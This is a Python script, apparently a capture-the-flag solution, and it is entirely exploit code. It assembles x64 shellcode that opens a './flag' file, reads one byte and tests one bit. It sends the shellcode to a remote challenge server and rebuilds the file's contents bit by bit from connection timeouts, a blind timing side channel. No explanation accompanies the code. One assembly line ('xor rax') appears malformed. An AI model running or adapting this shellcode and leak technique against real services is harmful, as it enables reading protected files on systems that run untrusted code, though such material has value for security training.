import phun
import time
import select
import socket
scode_t=('''
	sub rsp,200
	jmp a
b:
    xor rdx,rdx
	pop rdi
	push 2
	pop rax
	xor rsi,rsi
	xor rdx,rdx
	syscall
	cmp rax,rdx
	js die
	mov r15,rax
	mov rdi,rax
	mov rsi,${V}
	push 8
	pop rax
	syscall
	mov rsi,rsp
	xor rax,rax
	mov rdx,rax
	inc rdx
	syscall
	mov rax,[rsp]
    shr rax,${N}
    and rax,1
    test rax,rax
	jz die
    mov rdi,rsp
    mov rdx,16
	xor rax
	syscall
die:
	jmp die
a:	
	call b
''')

for i in range(115):
    s = socket.socket()
    char = []
    for j in range(7):
        scode=scode_t.replace('${V}',str(i)).replace('${N}',str(j))
#        print scode
        scode = phun.asm(scode,"x64")
        scode += "./flag\x00"
        scode=scode.ljust(4096,"\x90")
        s = socket.socket()
        s.settimeout(1.5)
        s.connect(('mute_9c1e11b344369be9b6ae0caeec20feb8.quals.shallweplayaga.me', 443))
#        s.connect(('localhost',1234))
#        raw_input('x')
        e=s.recv(4096)
        s.send(scode)
        s.shutdown(socket.SHUT_WR)
        try:
            s.recv(1024)
            
        except socket.timeout:
            char.append('0')
        s.close()
    print char
    print chr(int(''.join(char[::-1]),2))